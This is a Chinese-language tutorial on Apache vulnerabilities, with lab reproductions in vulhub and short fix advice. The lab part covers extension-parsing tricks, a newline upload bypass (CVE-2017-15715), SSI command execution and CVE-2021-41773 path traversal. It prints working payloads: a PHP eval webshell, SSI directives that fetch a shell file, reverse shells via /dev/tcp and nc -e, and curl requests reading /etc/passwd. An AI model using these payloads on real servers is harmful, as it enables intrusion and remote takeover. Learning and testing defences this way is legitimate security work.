中间件常见漏洞之apache

0x01 apache简介

Apache 是目前世界排名第一的 web 服务器，可以运行在几乎所有广泛使用的计算机平台上。由于其跨平台性和安全性被广泛使用，同时它能通过简单的API进行扩充，并将 Perl/Python 等解释器编译到服务器中。要知道 Apache 中间件可了解下最常见的 Apache 建站组合：LAMP，它们分别对应 Linux、Apache、Mysql、PHP。其中各组件的作用如下：

Linux：操作系统底层PHP：服务端语言，主要通过php_module与Apache服务器相关联Apache：中间件，用于沟通Linux和PHPMysql：数据库，通过php_extensions处理PHP的请求，配合查询、增删数据库中的数据Apache 本身是不支持 PHP 解析的，但是可以通过 LoadModule 来加载 php_module 模块，从而将其作为 Apache 的子模块运行，当请求 PHP 文件时，Apache 就会调用 php_module 来解析 PHP 代码。通过以下方式可以添加执行 PHP 文件类型

AddType application/x-httpd-php .php
或
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
</FilesMatch>

Apache生命周期Apache从启动到运行经历以下几个过程

如上图所示，Apache 首先会解析配置文件，加载模块并初始化系统资源，完成启动阶段。接下来进入运行阶段，开始循环处理请求，完成对用户请求的处理。

1.URI Translation：将请求的URL映射到本地文件系统，mod_alias模块就是在这个阶段工作。2.Header Pasing：解析header头部，mod_setenvif模块在这个阶段工作。3.Access Control：按照配置文件设定的策略对用户进行认证，并设定用户名区域，模块在这个阶段可以实现认证方法。4.Authorization：根据配置文件检查是否允许认证过的用户执行请求的操作，模块在这个阶段可以实现用户权限管理方法。5.MIME Type Checking：根据请求资源的MIME类型的相关规则，将文件交由相应的处理模块。6.Fix Up：模块在内容生成器之前，运行必要的处理流程。7.Response：生成响应报文。8.Logging：在客户端后记录事物。9.ClenaUp：清除请求后遗留的环境。Apache工作模式MPM（Multi Processing Modulings，多路处理模块）是 Apache 的核心组件之一，Apache 通过 MPM 来使用操作系统资源，对线程、进程池进行管理。Apache 为了获得更好的运行性能，针对不同的平台（Linux/unix、Windows）提供了不同的 MPM，用户可以根据实际情况进行选择，其中最常使用的两种是 perfork 和 worker。PerforkPerfork是非线程、预生成进程型MPM，会预先启动一些子进程，每个子进程一个时间只能处理一个请求，并且会根据并发请求数量来动态生成更多的子进程。配置参数如下：

StartServices: 服务器默认启动的子进程
MinSpareServers: 最小空闲进程数量
MaxSpareServers: 最大空闲进程数量
MaxClient: 最高并发量
ServerLimit: 最大限制并发量
MaxRequestPerChild: 每个子进程默认最多处理多少个请求，当达到设定值时，这个进程就会被kill掉，重新生成一个新的进程（避免出现内存泄露等安全问题或运行太久出现假死等情况）

WorkerWorker是线程化、多进程的MPM，每个进程可以生成多个线程，每个线程处理一个请求，不需要启用过多的子进程，每个进程能够拥有的线程数量是固定的。服务器会根据负载情况增加或减少进程数量，一个单独的控制进程（父进程）负责子进程的建立。每个子进程能够建立ThreadsPerChild数量的服务线程和监听线程，该监听线程监听接入请求并将其传递给服务线程处理和应答。配置参数如下：

StartServers: 服务器启动时建立的子进程数（默认为3）
MaxClients: 允许同时服务的最大请求数量（最大线程数），任何超过MaxClients限制的请求都将进入等待队列（默认为400）
MinSpareThreads: 最小空闲线程数（默认值为75）
MaxSpareThreads: 最大空闲线程数（默认值为250）
ThreadsPerChild: 每个子进程建立的常驻的执行线程数（默认值为25）
MaxRequestPerChild: 每个子进程在其生存期内允许处理的最大请求数

差别1、Perfork的速度要高于Worker，因此它需要的cpu和内存也稍高于Worker。 2、Perfork的无线程设计在某些情况下更具有优势，它可以使用那些没有处理好线程安全的第三方模块，对于那些线程调试困难的平台而言也更容易调试一些。 3、在高流量的HTTP服务器上，Worker相对于Perfork会好许多，因为相比内存占用要低得多。

0x02 apache安装

官网下载地址：https://www.apachehaus.com/cgi-bin/download.plx

Windows下安装Apache在官网直接下载即可，解压后其目录如下：

在conf目录下存在配置文件httpd.conf，可用于配置 Apache 中间件

进入bin目录启动 Apache 应用，如果返回OK则说明它能够正常启动

httpd -t

开始在服务中安装 Apache

xxxxxxxxxx httpd -k install -n Apache2.4

启动服务或停止服务命令如下：

httpd -k startht
tpd -k stop

服务启动后访问界面如下：

也可以直接在bin目录下运行ApacheMonitor.exe程序，达到的效果都是一样的

Linux下安装Apache而在 Linux 下安装也非常简单，利用 yum 等包管理工具可轻松安装成功

yum install httpd
## 停止或启动服务
service httpd start
service httpd stop

其默认服务目录在/etc/httpd当中

0x03 apache漏洞

未知扩展名解析漏洞漏洞详情Apache 解析漏洞依赖一个特性，它对文件的解析后缀不仅仅是认识最后一个后缀名，而是从右至左依次识别，当遇到一个文件存在多个以点分隔的后缀时，如mac.php.x.a，它会从.a开始识别，直到遇到自己能够解析的后缀名.php，通过 phpstudy 搭建复现环境并访问站点

在Apache的文件名扩展conf/mime.types中进行设置，其中规定了哪些扩展名Apache认识，而哪些扩展名Apache不认识。

在站点目录下分别放置1.jpg、1.jpg.aa以及1.php.aa

通过访问发现1.jpg.aa与1.jpg内容相同，说明该漏洞存在

但是访问1.php.aa只显示文本内容，并没有对 PHP 解析

难道是 PHP 未配置成功？访问 PHPINFO 文件phpinfo.php成功解析

在 Apache 使用 module 模式与 PHP 结合的所有版本中存在未知扩展名解析漏洞，而使用 fastcgi 与 PHP 结合的所有版本中则不存在该漏洞，出现上述情况难道是 Apache 使用 fastcgi 模式导致漏洞复现未成功？Module模式：

FastCgi模式：

经验证这也不是使用模式的问题，当模式改为fastcgi后访问文件还会出现500错误

而出现 PHP 未解析的主要原因在 PHP 配置文件php.conf当中

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

通过以上正则匹配可知 PHP 匹配文件名如果遇到最后一个后缀名不是ph(p[345]?|t|tml)$，不会把它当做 PHP 来执行，即使 Apache 认为它是 PHP 文件，只要将正则表达式中的$替换为\.后就能解决这个问题。由于 phpstudy 中未找到php.conf，于是在 Kali 中查找配置文件

find / -name php*.conf

在php7.4.conf中修改如下：

<FilesMatch ".+\.ph(p[345]?|t|tml)\.">
    SetHandler application/x-httpd-php
</FilesMatch>

重启 Apache 服务，访问站点成功

service apache2 start

重新在 Kali 中访问1.php.aa，解析成功

配置错误导致的解析漏洞漏洞详情在 Apache 的站点配置conf-enabled下添加*.conf文件，设置完后重启 Apache 即可将文件名中所有存在.php的文件都解析为PHP

vim mac.conf
AddHandler application/x-httpd-php .php

比如访问1.php.txt.aa，成功解析

当然也可以将*.conf设置如下，两者功能相同

<FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

访问1.jpg同样可以成功解析

扩展思路只要在 Apache 配置文件*.conf下插入配置信息即可完成任意文件名解析，由此可以扩展到.htaccess文件，与*.conf类似，但它需要处在站点根目录下，攻击者可通过上传.htaccess文件完成 PHP 解析，感兴趣的朋友可在文件上传靶场Uplood-Labs中进行练习。罕见后缀名解析漏洞漏洞详情查看 PHP 的配置文件，发现后缀名除了php可以被解析为 PHP 以外，还能通过phar、phtml等进行解析，当遇到文件上传点采用黑名单为.php时，我们可使用.phar、.phtml后缀来绕过限制。

比如1.phtml，解析 PHP 成功

目录遍历漏洞详情如果将httpd.conf和vhosts.conf中的-都设置为+，会导致目录遍历漏洞的产生

访问1目录，存在目录遍历漏洞

如果想要修复该漏洞，将+修改为-后重启服务器即可。在谷歌中利用谷歌黑客语法可轻易找到存在该漏洞的网站

intitle:index of

换行解析漏洞（CVE-2017-15715）漏洞详情上传一个后缀末尾包含换行符的文件可绕过FilesMatch，Apache 通过 mod_php 执行脚本，在解析时会将xxx.php\x0A当做 PHP 来解析，利用该方式可绕过服务器的一些安全策略，从而导致漏洞产生。该漏洞的根本原因在于php.conf中的$不仅匹配字符串结尾位置，也可以匹配\n或者\r等换行符。影响版本：Apache 2.4.0-2.4.29下载 docker 部署 vulhub 环境进行复现，在 ubuntu 下安装 docker

sudo apt install curl
curl -s https://get.docker.com/ | sh
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip install docker-compose
sudo apt install docker-compose

通过以下命令验证 docker-compose 是否已经安装

docker-compose -v

开启 CVE-2017-15715 环境

cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps

访问目标站点http://192.168.0.107:8080

首先直接上传正常的.php后缀文件，发现不能上传

通过 burpsuite 抓取上传请求包，发送至repeater模块

把符号点.替换为换行符，即0x7e替换为0x0a

结果显示上传成功，成功绕过限制

访问`http://192.168.0.107:8080/evil.php%0A`，文件已经成功解析为 PHP

那么为什么添加换行符后就可以成功执行PHP解析呢？先来看看上传界面index.php

<?php
  if(isset($_FILES['file'])) {
      $name = basename($_POST['name']);
      $ext = pathinfo($name,PATHINFO_EXTENSION);
      if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
          exit('bad file');
      }
      move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
  } else {
?>

在代码中可以看到后台虽然过滤了 PHP 后缀的文件，但在正则中只表示匹配字符串的结尾处。而如果设置了RegExp对象的Multiline属性，也可以成功匹配\n和\r等换行字符，这里需要区分0x0a和0x0d，前者为换行到下一行行首起始位置，后者只是移动光标到该行起始位置。因此只有0x0a能起作用，而0x0d不起作用。该漏洞算是 Apache 的特性，只是开发或运维人员对其理解深度不足而导致。修复建议1、升级到最新版本 2、将上传的文件名重命名并禁止上传目录执行脚本权限SSI远程代码执行漏洞漏洞详情SSI（Server-side inculdes）是放置在 HTML 中的指令，它可以将动态生成的内容添加到现有的HTML页面上，而不必通过 CGI 程序或其他动态程序来支持整个界面，简单来说就是它可以在 HTML 中加入特定的指令，也可以引入其他的页面，开启 SSI 需要单独配置 Apache。它能够完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作，功能十分强大。该漏洞可在 vulhub 中进行复现，启动漏洞环境

cd vulhub/httpd/ssi-rce
docker-compose ps
docker-compose up -d

访问http://192.168.0.107:8080/upload.php，这是一个上传界面

利用SSI执行系统命令的功能，构造一个包含系统指令的文件mac.shtml

<pre>
<!--#exec cmd="whoami"-->
</pre>

上传成功后返回文件路径

访问路径http://192.168.0.107:8080/mac.shtml，成功执行系统命令

尝试执行命令写入小马

<!--#exec cmd="wget http://192.168.0.105/shell.txt | rename shell.txt mac.php" --> 
<!--#exec cmd="echo '<?php @eval($_POST[mac]);?>' > mac.php" --> 

成功连接蚁剑，连接地址为http://192.168.0.107:8080/mac.php

当然也可以执行反弹shell

<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.0.108/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.0.108 8888 -e /bin/bash"-->

Apahce HTTPd 2.4.49（CVE-2021-41773）

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中，引入了一个路径体验，满足下面两个条件的 Apache 服务器将受到影响：1、版本等于2.4.492、Require all granted（默认情况下是允许被访问的）。攻击者利用这个漏洞，可以读取到Apache服务器Web目录以外的其他文件，或者读取Web中的脚本源码，或者在开启cgi或cgid的服务器上执行任意命令。影响版本Apache HTTP Server 2.4.49本实验使用vulhub环境，节约搭建时间

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写

DockerFile文件内容：

FROM httpd:2.4.49
RUN set -ex \
    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
    && cat /usr/local/apache2/conf/httpd.conf \
        | tr '\n' '\r' \
        | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \
        | tr '\r' '\n' \
        | tee /tmp/httpd.conf \
    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

接下来在 Dockerfile 文件的存放目录下，执行构建动作。以下示例，通过目录下的 Dockerfile 构建一个 httpd:2.4.49rce（镜像名称:镜像标签）。注：最后的 . 代表本次执行的上下文路径。

docker build -t  httpd:2.4.49rce .

运行docker

docker run  -d -p 85:80 httpd:2.4.49rce

之后就可以通过浏览器访问量（如果浏览器访问不了，重新启动实验机后再启动docker就可以解决该问题）

POC测试

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

在服务器上启用 mods cgi 或 cgid 后，此路径遍历漏洞将允许任意命令执行，（此靶场是已启用cgid）远程代码执行POC：

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

或者

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8
echo;pwd

漏洞修复

升级到Apache HTTP Server最新版本。